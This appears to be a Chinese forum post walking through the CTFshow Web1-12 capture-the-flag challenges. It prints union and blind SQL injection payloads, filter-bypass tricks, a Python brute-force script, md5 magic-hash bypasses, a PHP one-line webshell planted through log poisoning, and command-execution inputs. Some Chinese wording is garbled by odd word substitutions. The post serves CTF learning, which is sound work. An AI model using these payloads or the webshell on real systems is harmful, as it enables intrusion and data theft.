[CTF夺旗赛] CTFshow Web1-12 详细过程保姆级教程~

打印 上一主题 下一主题

主题 861|帖子 861|积分 2583

前言

​ CTFShow通常是指网络安全范畴中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、毛病利用本事以及解题思路的在线社区或软件。参与者会在角逐中收集“flag”,通常是潜伏在网络环境中的数据或暗码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技能和挑战,同时也促进了安全知识和技能的交流。
Web1

1.起首我们启动靶机,打开首页,我们发现上面只有一个where is flag的字样。

2.我们查看一下网页的源代码Ctrl+U,发现了疑似flag的东西。

3.我们将拿到的这串数进行base64解码,得到flag(ctfshow{d69de809-e78d-4d95-91ef-422375feef9a})。

Web2

1.起首,我们打开首页,发现是一个很经典的用户名登录,我们先随便注入一下,看看有什么。
我们来注入一下' or 1=1 order by 1;#,发现是有回显的。

逐步增大到4,我们发现没有回显了,以是说明回显位最多为3。

2.知道回显位数后,然后我们就可以开始利用联合查询注入了,起首,我们先确定是哪位回显。
  1. ' or 1=1 union select 1,2,3;#
复制代码

3.我们确定了是第二位回显后,就可以查数据库了,回显得到数据库名(web2)。
  1. ' or 1=1 union select 1,database(),3;#
复制代码

4.得到数据库名后,我们就开始找表名,继承注入,回显得到表名(flag)。
  1. ' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2';#
复制代码

5.分析可知flag应该在flag表中,得到表名后,我们就可以开始查询列名,回显得到列名(flag)
  1. ' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag'),3 ;#
复制代码

6.得到列名后,我们就可以开始查询列中的字段中的内容,也就是flag,注入后回显得到flag(ctfshow{243d3268-cfd3-4421-a2b6-9aecaf75fac1})
  1. ' or 1=1 union select 1,(select flag from flag),3 ;#
复制代码

Web3

1.起首我们启动靶机打开首页,发现它给了我们提示($_GET['url'])这告诉我们这题大概率需要构造发包。

2.我们打开burpsuite,来进行抓包,我们输入流php://input,我们构造一条ls下令,来看看有哪些文件。

我们Forward一下,看看效果,发现了一个ctf_go_go_go index.php文件。

2.我们查看一下文件,构造一条cat下令。

Forward一下,查看效果,得到flag。

Web4

1.起首,我们打开首页,发现这和上题一样啊,我们实验一下上题的方法,发现并不行。

2.思考过后我们想到这台服务器是linux系统,他能用url参数访问,那我们来看一下的日志文件/var/log/nginx/access.log,发现了它是有回显的,回显的参数是我们哀求包的User-Agent。

3.那么思路就有了,我们需要构造哀求包,在User-Agent里加一个一句话木马然后用蚁剑去连日志文件。下面我们来改包,添加一句话木马<?php eval($_POSt['777']);?>

3.我们接着用蚁剑来连接,这里就不过多介绍了,根据我们的一句话木马我们知道连接暗码是777。

4.我们访问一下文件,发现flag.txt,内里就是我们需要找的flag。

Web5

1.启动靶机,打开首页,我们发现这应该是一个代码审计题,它将网站的源码给了出来。

我们来分析一下源码。
  1. where is flag?
  2. <?php
  3. error_reporting(0);
  4.    
  5. ?>
  6. <html lang="zh-CN">
  7. <head>
  8.     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  9.     <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
  10.     <title>ctf.show_web5</title>
  11. </head>
  12. <body>
  13.     <center>
  14.     <h2>ctf.show_web5</h2>
  15.     <hr>
  16.     <h3>
  17.     </center>
  18.     <?php
  19.         $flag="";
  20.         $v1=$_GET['v1'];
  21.         $v2=$_GET['v2'];
  22.         if(isset($v1) && isset($v2)){
  23.             if(!ctype_alpha($v1)){
  24.                 die("v1 error");
  25.             }
  26.             if(!is_numeric($v2)){
  27.                 die("v2 error");
  28.             }
  29.             if(md5($v1)==md5($v2)){
  30.                 echo $flag;
  31.             }
  32.         }else{
  33.         
  34.             echo "where is flag?";
  35.         }
  36.     ?>
  37. </body>
  38. </html>
复制代码
分析一下代码,我们发现有两个参数v1和v2,然后下面有判断语句,v1必须为字母,v2必须为数字。如果题目两进行md5加密后是相等的话,就会输出flag,也就是说这里用到了一个md5相等绕过。知道了这个之后就好办理了。
2.我们构造两个数,我们传参输入一串v1=QNKCDZO&v2=240610708,得到flag。

Web6

1.启动靶机,打开首页,我们发现这和Web2一样啊,那么是否还能注入呢,答案肯定是不能的,我们实验注入or 1=1 order by 3;#,发现报错sql inject error。

2.我们颠末不断的实验,发现题目出在空格被过滤掉了,这时间我们就想到如何代替空格。
可以代替空格的字符:
  1. %0A
  2. %0B
  3. %0D
  4. %A0
  5. /**/
复制代码
我们来测试一下是否能绕过,发现是可以绕过的,那么就很简朴了,我们根据Web2的思路来就好啦!
  1. '/**/or/**/1=1#
复制代码

3.起首,我们先看一下回显位数,发现还是3,那么就开始找库名,注入,得到库名(web2)。
  1. '/**/or/**/1=1/**/union/**/select/**/1,database(),3;#
复制代码

4.得到库名之后,就来找表名,同样的,注入得到表名(flag)。
  1. '/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2';#
复制代码

5.得到表名之后,就可以找内里的列名了,注入得到列名。
  1. '/**/or/**/1=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3;#
复制代码

6.得到列名之后,就去找列内里的值了,也就是flag,注入拿到flag。
  1. '/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3;#
复制代码

Web7

1.启动靶机,进入首页,我们发现这是一个文章列表。

点击一个,我们发现其url是带参数的。

2.既然是有参数的,我们就来用联合查询来注入,我们先判断一下回显,我们注入发现回显非常。
  1. ?id=1 order by 1
复制代码

3.碰到这种环境大概率是因为某些字符被过滤了,我们把空格进行替换,发现回显正常。
  1. ?id=1/**/order/**/by/**/1
复制代码

4.办理了这个题目,下面就简朴了,我们先找出回显位数,逐一试发现位数为3,然后我们就判断一下回显位置,我们发现2回显了。
  1. ?id=1/**/union/**/select/**/1,2,3#
复制代码

5.知道了回显位置之后,我们就可以查数据库名了,注入查得数据库名(web7)。
  1. ?id=1/**/union/**/select/**/1,database(),3#
复制代码

6.得到数据库名后,我们就可以来查找表名了,注入发现报错无回显。
  1. ?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web7'),3#
复制代码

7.我们看看是不是还有什么被过滤了,我们将单引号进行替换,果然不出我们所料,查询到表名(flag)。
  1. ?id=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#
复制代码

8.查询到表名之后查询列名,注入查询得到列名(``)
  1. ?id=1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#
复制代码

9.查询到列名之后,我们去查询列内里的值,也就是flag,注入得到flag
  1. ?id=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#
复制代码

Web8

1.打开首页,我们发现依然这是一个包含文章列表的题目,但是这题过滤了很多东西,以是我们更改一下手注的策略,我们来写一个脚本,来办理这道题,需要将url换成你的url。
  1. import requests
  2. url = 'http://69a32bc3-2aa2-4c50-ac06-8d70d42e049b.challenge.ctf.show/index.php?id=-1/**/or/**/'
  3. name = ''
  4. # 循环45次( 循环次数按照返回的字符串长度自定义)
  5. for i in range(1, 45):
  6.     # 获取当前使用的数据库
  7.     payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
  8.     # 获取当前数据库的所有表
  9.     # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
  10.     # 获取flag表的字段
  11.     # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
  12.     # 获取flag表的数据
  13.     payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
  14.     count = 0
  15.     print('正在获取第 %d 个字符' % i)
  16.     # 截取SQL查询结果的每个字符, 并判断字符内容
  17.     for j in range(31, 128):
  18.         result = requests.get(url + payload % (i, j))
  19.         if 'If' in result.text:
  20.             name += chr(j)
  21.             print('数据库名/表名/字段名/数据: %s' % name)
  22.             break
  23.         # 如果某个字符不存在,则停止程序
  24.         count += 1
  25.         if count >= (128 - 31):
  26.             exit()
复制代码
2.末了我们运行这个脚本,就可以将flag爆破出来。

Web9

1.起首,我们进行一下目次扫描,收集信息,扫到robots.txt。
  1. dirsearch -u https://3ef16222-240a-4f1f-bc67-265f3c7ab2c5.challenge.ctf.show/
复制代码

2.既然扫到了一个robots.txt,我们就去看看它内里有什么。

3.在robots.txt内里有一个index.phps,我们将它下载下来做一波代码审计,看看注入点在哪。
  1. <?php
  2.         $flag="";
  3.                 $password=$_POST['password'];
  4.                 if(strlen($password)>10){
  5.                         die("password error");
  6.                 }
  7.                 $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
  8.                 $result=mysqli_query($con,$sql);
  9.                         if(mysqli_num_rows($result)>0){
  10.                                         while($row=mysqli_fetch_assoc($result)){
  11.                                                  echo "登陆成功<br>";
  12.                                                  echo $flag;
  13.                                          }
  14.                         }
  15.     ?>
复制代码
这里的注入点在于md5($password,true),以是说它是会将暗码转换的,这时我们就可以计划一个暗码来绕过,这里利用绕过暗码ffifdyop。
4.输入暗码ffifdyop进行绕过,登录乐成,得到flag!

Web10

1.启动靶机,打开首页。我们发现还是管理员登录,但是不同的是多了一个取消按钮,点击取消,居然把源码下载了下来。

点击取消:

2.那么接下来,我们就可以来做一波代码审计,看看注入点了。
  1. <?php
  2.                 $flag="";
  3.         function replaceSpecialChar($strParam){
  4.              $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
  5.              return preg_replace($regex,"",$strParam);
  6.         }
  7.         if (!$con)
  8.         {
  9.             die('Could not connect: ' . mysqli_error());
  10.         }
  11.                 if(strlen($username)!=strlen(replaceSpecialChar($username))){
  12.                         die("sql inject error");
  13.                 }
  14.                 if(strlen($password)!=strlen(replaceSpecialChar($password))){
  15.                         die("sql inject error");
  16.                 }
  17.                 $sql="select * from user where username = '$username'";
  18.                 $result=mysqli_query($con,$sql);
  19.                         if(mysqli_num_rows($result)>0){
  20.                                         while($row=mysqli_fetch_assoc($result)){
  21.                                                 if($password==$row['password']){
  22.                                                         echo "登陆成功<br>";
  23.                                                         echo $flag;
  24.                                                 }
  25.                                          }
  26.                         }
  27.     ?>
复制代码
我们发现很多关键字 $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";都被过滤掉了,那么常规注入就不可行了,而且账户暗码都进行了过滤,那么我们啥也不知道,那么怎么办呢?可以利用with rollup使暗码为空,然后进行绕过。
  1. 'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
复制代码
3.注入登录,登录乐成得到flag。

Web11

1.打开靶机,进入首页,我们发现源码已经在上面了。

  1. <?php
  2.         function replaceSpecialChar($strParam){
  3.              $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
  4.              return preg_replace($regex,"",$strParam);
  5.         }
  6.         if(strlen($password)!=strlen(replaceSpecialChar($password))){
  7.             die("sql inject error");
  8.         }
  9.         if($password==$_SESSION['password']){
  10.             echo $flag;
  11.         }else{
  12.             echo "error";
  13.         }
  14.     ?>
复制代码
进行一下代码审计,这道题注入点应该在这一条if($password==$_SESSION['password']),恰好我们看首页,也只有一条暗码登录,以是我们只需要把Session设为空就能登录绕过。
2.我们利用burpsuite来抓一下包。

3.我们将Cookie给它清掉,这样就没有Session了,理论上我们就可以绕过了。

4.改完包我们Forward一下,果然我们绕过了,得到了flag。

Web12

1.启动靶机,打开首页,发现啥也没有,我们Ctrl+U看看网页源码里有什么。

打开发现有一个?cmd=:

我们输入下令?cmd=print_r(scandir('./'));来查看一下目次,发现了php文件。

2.既然找到了文件,我们就来查看一下这个php文件,发现内里放的是flag。
  1. ?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

花瓣小跑

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表